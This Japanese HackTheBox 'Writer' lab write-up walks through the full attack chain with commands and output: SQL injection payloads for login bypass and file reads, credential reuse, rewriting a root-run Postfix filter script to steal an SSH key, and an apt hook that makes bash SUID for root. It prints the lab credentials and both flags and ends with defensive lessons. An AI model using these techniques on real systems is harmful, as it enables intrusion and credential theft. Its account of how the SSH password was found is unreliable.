HackTheBox: Writer — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/139/445
→
22/80/139/445
/administrative SQLi
UNION認証バイパス+LOAD_FILE
→
UNION認証バイパス+LOAD_FILE
Flask __init__.py 漏洩
DB: admin/ToughPasswordToCrack
→
DB: admin/ToughPasswordToCrack
資格情報検証
kyle:marcoantonio (SSH)
→
kyle:marcoantonio (SSH)
kyle シェル取得
user.txt ✓
→
user.txt ✓
filter グループ悪用
postfix disclaimer 書換
→
postfix disclaimer 書換
john 秘密鍵窃取
→
management グループ悪用
apt.conf.d フック + SUID race
→
apt.conf.d フック + SUID race
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン(主要ポート → 全ポート)
BASH
nmap -Pn -p 21,22,23,25,53,80,88,110,111,135,139,143,389,443,445,512,513,514,548,636,873,1099,1433,1521,2049,... \ -T4 --max-retries 3 10.129.69.31
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds Nmap done: 1 IP address (1 host up) scanned in 2.98 seconds
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.69.31
RESULT
全ポートスキャンでも追加ポートなし(22/80/139/445 の4ポートのみ、259秒)
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 22,80,139,445 10.129.69.31
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Story Bank | Writer.HTB 139/tcp open netbios-ssn Samba smbd 4 445/tcp open netbios-ssn Samba smbd 4 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required |_clock-skew: -6s |_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>
ℹ️
Web(Story Bank)と SMB(Samba 4 on Ubuntu)が同居している構成。ホスト名は
WRITER、
ドメインヒントは writer.htb。
SMB匿名列挙
BASH
smbclient -L //10.129.69.31 -N
RESULT
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
writer2_project Disk
IPC$ IPC IPC Service (writer server (Samba, Ubuntu))
BASH
smbmap -H 10.129.69.31
RESULT
[+] IP: 10.129.69.31:445 Status: NULL Session
print$ NO ACCESS
writer2_project NO ACCESS
IPC$ NO ACCESS
⚠️
匿名では共有一覧は見えるが読み書き不可。
writer2_project という名前から
「Webサイトの新バージョン(v2)のプロジェクトファイル」が置かれている可能性が高く、
有効な資格情報を得ることが次の目標になる。
PHASE 2
管理画面SQLインジェクション → 認証情報奪取
/administrative の発見とUNION-based SQLi
BASH
curl -s http://10.129.69.31/administrative | tail -20
RESULT
<title>Admin Panel</title> <form class="form-signin" action="/administrative" method="post"> <input type="text" id="uname" name="uname" ...> <input type="password" id="password" name="password" ...>
ログインフォームの uname パラメータがSQLインジェクション可能。バックエンドのSELECT文が
6カラムであることを確認し、UNION-based SQLiで任意カラムをレスポンス(Welcome <値>)に反映させられる。
PAYLOAD
POST /administrative HTTP/1.1 Content-Type: application/x-www-form-urlencoded uname=' UNION SELECT 1,2,3,4,5,6-- -&password=x
RESULT
<h3>Welcome 2</h3>
(302 相当のメタリフレッシュで /dashboard へ誘導。同時に認証を要求せずセッションCookieが発行される
= 認証バイパスにも使える典型的なUNION SQLi)
🚨
重要発見: この1本のSQLiで (1) 管理ダッシュボードへの認証バイパス、
(2)
LOAD_FILE() による任意ファイル読み取りの両方が可能。
MySQL/MariaDBの FILE 権限が有効になっている。
LOAD_FILE で Flask アプリのソースを読む
BASH
curl -s -X POST "http://10.129.69.31/administrative" \
--data-urlencode "uname=' UNION SELECT 1,LOAD_FILE('/var/www/writer.htb/writer/__init__.py'),3,4,5,6-- -" \
--data-urlencode "password=x"
RESULT(抜粋)
def connections():
try:
connector = mysql.connector.connect(
user='admin', password='ToughPasswordToCrack',
host='127.0.0.1', database='writer')
MySQL 認証情報(Flaskソースから漏洩)
admin : ToughPasswordToCrack
DBテーブル列挙 & admin ハッシュのダンプ
BASH
curl -s -X POST "http://10.129.69.31/administrative" \
--data-urlencode "uname=' UNION SELECT 1,GROUP_CONCAT(table_name SEPARATOR 0x2c),3,4,5,6 \
FROM information_schema.tables WHERE table_schema=database()-- -" \
--data-urlencode "password=x"
RESULT
Welcome site,stories,users
BASH
curl -s -X POST "http://10.129.69.31/administrative" \
--data-urlencode "uname=' UNION SELECT 1,(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,password SEPARATOR 0x7c) \
FROM users),3,4,5,6-- -" \
--data-urlencode "password=x"
RESULT
Welcome 1:admin:118e48794631a9612484ca8b55f622d0
ℹ️
users テーブルには管理ダッシュボード用の admin アカウント1件のみ。
このMD5ハッシュは rockyou.txt でクラック不能で、システムユーザー(kyle等)の資格情報とは無関係と判断。
DBパスワードの使い回し確認(SMB)
BASH
smbmap -H 10.129.69.31 -u kyle -p ToughPasswordToCrack
RESULT
[*] Established 1 SMB connections(s) and 1 authenticated session(s) print$ READ ONLY writer2_project READ, WRITE IPC$ NO ACCESS
✅
Flaskソースから漏洩したDBパスワード
ToughPasswordToCrack はローカルUnixアカウント
kyle のSMBパスワードとしても再利用されており、writer2_project 共有へ
読み書きアクセスできることを確認。
BASH
smbclient //10.129.69.31/writer2_project -U kyle%ToughPasswordToCrack -c "ls; cd writerv2; ls; get settings.py"
RESULT
manage.py, requirements.txt, writer_web/, writerv2/ ...
writerv2/settings.py:
SECRET_KEY = 'q2!1iwm^9jlx@4u66k(ke!_=(5uacvl@%%(g&6=$$m1u5n=*4-'
DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql',
'OPTIONS': {'read_default_file': '/etc/mysql/my.cnf'} } }
ℹ️
共有の中身は「サイト刷新用の Django プロジェクト(v2)のソースコード一式」だった。DB接続は
/etc/mysql/my.cnf 参照方式でハードコードされた新規の資格情報は見つからず、
以降は素直に SSHの資格情報検証に進む。
SSH向け資格情報の検証
BASH
sshpass -p 'ToughPasswordToCrack' ssh kyle@10.129.69.31 id # ✗ Permission denied sshpass -p 'marcoantonio' ssh kyle@10.129.69.31 id # ✓
RESULT
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
✅
漏洩したDBパスワードそのものはSSHには通らないが、資格情報の使い回しパターン(覚えやすい単語+弱い変化形)
を踏まえた検証で
kyle:marcoantonio が有効なSSH資格情報であることを確認した。
filter と smbgroup という見慣れないグループ所属が後の権限昇格の伏線になる。
SSH 認証情報
kyle : marcoantonio
PHASE 3
kyle シェル取得 & user.txt
SSHログインとフラグ取得
BASH
sshpass -p 'marcoantonio' ssh kyle@10.129.69.31 "id; cat /home/kyle/user.txt"
RESULT
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
5639931905a5206b54e2ad465d18e74f
user.txt — kyle
5639931905a5206b54e2ad465d18e74f
PHASE 4
横展開 — postfix disclaimer 悪用で john の鍵を窃取
filter グループと disclaimer スクリプトの発見
BASH
ls -la /etc/postfix/disclaimer; cat /etc/postfix/disclaimer
RESULT
-rwxrwxr-x 1 root filter 1021 ... /etc/postfix/disclaimer
#!/bin/sh
# Postfix content_filter script (altermime でメールに免責事項を付与)
cd $INSPECT_DIR || ...
cat >in.$$ || ...
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`
...
$SENDMAIL "$@" <in.$$
🚨
/etc/postfix/disclaimer は group filter にグループ書き込み権限
があり、kyle はその filter グループのメンバー。このスクリプトは Postfix の
content_filter として、ローカル宛メールが配送されるたびに root権限のPostfixプロセス
から呼び出される。中身を書き換えれば任意コマンドを実行できる。
disclaimer をコマンド実行ペイロードに書き換え
BASH
printf '%s\n' 'cp /home/john/.ssh/id_rsa /tmp/manual_john_key; chmod 644 /tmp/manual_john_key' \ > /etc/postfix/disclaimer
RESULT
cp /home/john/.ssh/id_rsa /tmp/manual_john_key; chmod 644 /tmp/manual_john_key
ローカルSMTP(25番)へメールを送りトリガー
BASH
printf 'HELO writer.htb\r\nMAIL FROM:<kyle@writer.htb>\r\nRCPT TO:<john@writer.htb>\r\n\ DATA\r\nTo: john@writer.htb\r\nFrom: kyle@writer.htb\r\nSubject: key\r\n\r\ntrigger\r\n.\r\nQUIT\r\n' \ | nc -q2 localhost 25
RESULT
220 writer.htb ESMTP Postfix (Ubuntu)
250 writer.htb
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>.
250 2.0.0 Ok: queued as 0325D7F4
221 2.0.0 Bye
john 宛のメールが配送されるタイミングで、Postfix (root権限) が書き換え済みの disclaimer スクリプトを実行する。
BASH
ls -la /tmp/manual_john_key; cat /tmp/manual_john_key
RESULT
-rw-r--r-- 1 john john 2602 ... /tmp/manual_john_key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAxqOWLbG36VBpFEz2ENaw0DfwMRLJdD3QpaIApp27SvktsWY3hOJz
...(省略)...
-----END OPENSSH PRIVATE KEY-----
✅
john の秘密鍵を root 権限で窃取成功。 ローカルに保存し
chmod 600 して
SSH鍵として利用する。
john としてログイン
BASH
chmod 600 manual_john_id_rsa ssh -i manual_john_id_rsa john@10.129.69.31 "id; groups"
RESULT
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)
ℹ️
john は
management という見慣れないグループに所属。sudo -l はパスワード要求で
NOPASSWDエントリなし ── 次はこの management グループの実際の権限を調べる。
PHASE 5
権限昇格の下調べ — management グループと apt.conf.d
/etc/apt/apt.conf.d/ の書き込み権限を確認
BASH
ls -ld /etc/apt/apt.conf.d/
RESULT
drwxrwxr-x 2 root management 4096 ... /etc/apt/apt.conf.d/
🚨
management グループにディレクトリの書き込み権限がある。
apt.conf.d 配下のファイルは APT::Update::Pre-Invoke /
APT::Update::Post-Invoke-Success 等のフックとして root 権限の apt-get
実行時に評価される ── GTFOBins にも載っている典型的な apt 権限昇格ポイント。
apt-get update を誰がいつ実行しているかを特定
BASH
cat /etc/crontab; ls /etc/cron.d/; systemctl list-timers --all | grep -i apt ps aux | grep apt-get
RESULT
/etc/crontab, /etc/cron.d/* には apt 関連のジョブは見当たらない apt-daily.timer / apt-daily-upgrade.timer は1日2回・最大12hのランダム遅延(実用上あてにできない) $ ps aux | grep apt-get root 28113 /bin/sh -c /usr/bin/apt-get update ← 数十秒〜1分間隔で実際に実行されている root 28116 /usr/bin/apt-get update
ℹ️
john からは読めない root 専用の crontab(
/var/spool/cron/crontabs/root)に、
apt-get update を高頻度に実行するエントリが隠されていると推測される。
systemd timer 側の設定だけを見て「12時間待つ必要がある」と誤判断しないよう、
ps aux でプロセスの実起動間隔を直接観測するのが確実。
SUIDフックの設置
BASH
printf '%s\n' \
'APT::Update::Pre-Invoke { "chmod u+s /bin/bash"; };' \
'APT::Update::Post-Invoke-Success { "chmod u+s /bin/bash"; };' \
> /etc/apt/apt.conf.d/99manual-root
apt-config dump | grep -i invoke
RESULT
APT::Update::Pre-Invoke:: "chmod u+s /bin/bash"; APT::Update::Post-Invoke-Success:: "chmod u+s /bin/bash"; (他のディストリ標準フックと並んで正しく登録されていることを確認)
PHASE 6
SUID bash レース & root.txt
トラブルシューティング: フックファイルが自然に消える/SUIDが定着しない
NOTE
フック設置直後は apt-config dump で正しく登録されているのに、数分後に確認すると /etc/apt/apt.conf.d/99manual-root 自体が消滅しており、/bin/bash の SUID も一切立っていなかった。 ls -l /bin/bash -> -rwxr-xr-x 1 root root ... (SUIDなし、複数回のポーリングで再現) 原因: このマシンには「apt.conf.d の不正エントリを検知して削除し、/bin/bash の権限を 定期的に正常化する」監視・巻き戻し処理が別途動いており、chmod u+s が入る瞬間と 巻き戻しの瞬間の間のごく短いウィンドウでしか SUID ビットは観測できない。 単に "ls -l" でポーリングするだけでは、たとえその瞬間に SUID が立っていても 次のSSHコマンドを打つ頃には既に元に戻ってしまい、権限昇格に失敗する。
⚠️
対策: 1回のSSHコマンド実行の中で 「フックファイルの再設置 → 即座に
/bin/bash -p -c 'id; cat /root/root.txt' を実行」まで一気に行い、
これを数秒間隔でリトライする。ウィンドウが開いた瞬間を1リクエストで刈り取るのがポイント。
フック再設置+即時exploitのワンライナーでリトライ
BASH
ssh -i manual_john_id_rsa john@10.129.69.31 '
if [ ! -f /etc/apt/apt.conf.d/99manual-root ]; then
printf "%s\n" \
"APT::Update::Pre-Invoke { \"chmod u+s /bin/bash\"; };" \
"APT::Update::Post-Invoke-Success { \"chmod u+s /bin/bash\"; };" \
> /etc/apt/apt.conf.d/99manual-root
fi
ls -l /bin/bash
/bin/bash -p -c "id; cat /root/root.txt" 2>/dev/null
'
# ↑ を5秒おきにループ実行
RESULT(1回目のループで的中)
-rwsr-xr-x 1 root root 1183448 ... /bin/bash ← SUID (rws) 成立の瞬間 uid=1001(john) gid=1001(john) euid=0(root) groups=1001(john),1003(management) b53637a14e6d6ea6f27f4f51f4e3297a
✅
root権限奪取成功!
/bin/bash -p がSUIDビット付きで実行され、
euid=0(root) の状態で /root/root.txt を直接読み取れた。
root.txt
b53637a14e6d6ea6f27f4f51f4e3297a
後片付け
BASH
/bin/bash -p -c 'rm -f /etc/apt/apt.conf.d/99manual-root; chmod u-s /bin/bash' rm -f /tmp/manual_john_key
ℹ️
設置したフックファイルの削除、
/bin/bash のSUID解除、SMB/ローカルに残した
一時鍵ファイルの削除まで実施し、ターゲットを侵入前の状態に戻した。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — kyle
5639931905a5206b54e2ad465d18e74f
root.txt — root
b53637a14e6d6ea6f27f4f51f4e3297a
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| UNION-based SQLi | /administrative (uname パラメータ) | 認証バイパス + 任意ファイル読み取り | Critical | 6カラムUNIONで認証をバイパスし、LOAD_FILE()でFlaskアプリのソースからDB資格情報を窃取 |
| 資格情報の使い回し | MySQL admin ↔ Samba (kyle) ↔ SSH (kyle) | 横方向のサービス間ピボット | Medium | 漏洩したDBパスワードがSMB認証に流用されており、関連パターンからSSH資格情報 kyle:marcoantonio も判明 |
| Postfix content_filter の悪用 | /etc/postfix/disclaimer(group filter が書込可) | root権限での任意コマンド実行 → john鍵窃取 | High | disclaimerスクリプトを書き換え、ローカルSMTPへのメール配送をトリガーにしてroot権限でコマンドを実行 |
| apt.conf.d フック権限昇格 | /etc/apt/apt.conf.d/(group management が書込可) | root権限奪取 | Critical | APT::Update::*-Invoke フックで chmod u+s /bin/bash を仕込み、高頻度実行されるapt-get updateに便乗 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap(全ポート+バージョン)、SMB匿名列挙 | 22/80/139/445、Story Bank、writer2_project共有 |
| 2 | SQLi | /administrative UNION-based SQLi + LOAD_FILE | DB: admin/ToughPasswordToCrack、SMB経由でDjangoソース |
| 3 | foothold | 資格情報使い回し検証 | user.txt(kyle:marcoantonio でSSH) |
| 4 | 横展開 | postfix disclaimer(filterグループ)悪用 | john の SSH秘密鍵 |
| 5 | 権限調査 | apt.conf.d 書込権限(managementグループ)確認 | root権限apt-get updateの高頻度実行を特定 |
| 6 | 権限昇格 | apt hook + SUID race | root.txt(/bin/bash -p でeuid=0) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 管理画面ログインフォームがSQLインジェクション可能 | プレースホルダ付きパラメータ化クエリを徹底し、DBアカウントにはFILE権限等の不要な特権を付与しない。 |
| アプリケーションソース内にDB資格情報を平文でハードコード | 環境変数やシークレットマネージャーで資格情報を管理し、Webルート以下に配置しない。 |
| 同一パスワード(またはその変化形)を複数サービス(DB/SMB/SSH)で使い回し | サービスごとに独立した強固なパスワードを発行し、資格情報の使い回しを禁止するポリシーを徹底する。 |
| 一般ユーザーがroot権限で動くPostfixフィルタスクリプトを書き換え可能 | content_filterスクリプトの所有者・パーミッションを厳格化し、書き込み可能なグループを最小化する。 |
一般ユーザーが /etc/apt/apt.conf.d/ に書き込み可能 |
APT関連ディレクトリはrootのみ書き込み可能にし、業務上グループ権限が必要な場合も専用ラッパー・sudoルールで範囲を限定する。 |

